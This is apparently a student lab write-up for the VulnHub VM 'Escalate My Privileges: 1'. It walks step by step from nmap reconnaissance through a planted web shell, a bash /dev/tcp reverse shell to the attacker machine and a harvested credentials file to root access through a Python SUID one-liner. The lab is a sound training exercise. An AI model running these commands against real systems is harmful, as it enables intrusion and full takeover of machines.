## ****Lab 3 — Privilege Escalation Checklist****

**Target:** VulnHub: Escalate My Privileges: 1  
**Tools Used:** Kali Linux, Firefox, Nmap, Netcat  
**Author:** Ishan Chowdhury

### ****Checklist****

**Setup**

Download and run **Escalate My Privileges: 1** VM in VirtualBox.

Connect **Kali Linux (Attacker)** and **Victim VM** on the same network (Host-Only Adapter).

Identify target IP: 192.168.132.140

**Reconnaissance**

Run an Nmap scan to identify open ports and services: nmap -sV 192.168.132.140

Found ports: **80/tcp** (HTTP)

Access the web page: http://192.168.132.140

View source code (Ctrl+U) and find hidden path /phpbash.php.

**Initial Foothold (Web Shell)**

Open: http://192.168.132.140/phpbash.php

Confirm shell access as apache user: id

Setup reverse shell: nc -lvnp 4455

bash -i >& /dev/tcp/192.168.132.139/4455 0>&1

Gain a shell on Kali.

**Enumeration**

List files:ls

Found readme.txt → contained hint to /home/armour/backup

Navigate and find credentials file: cd /home/armour

cat credentials.txt

File indicated password is **MD5 hash of “rootroot1”**

**Privilege Escalation**

Generate MD5 hash: echo -n "rootroot1" | md5sum

**Switch to armour user:** su armour

Check privileges: sudo -l

Spawn TTY shell: python3 -c 'import pty; pty.spawn("/bin/bash")'

Found **Python 3.6 SUID** bit set.

**Root Access**

Exploit Python SUID binary: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Confirm root: whoami

Output: root

Retrieve flag: cat /root/proof.txt

## ****Evidence & Deliverables****

nmap\_service-scan\_priviledge.txt

Screenshot of /phpbash.php web shell

Screenshot of reverse shell

Screenshot of privilege escalation (Python3 SUID → root)

proof.txt flag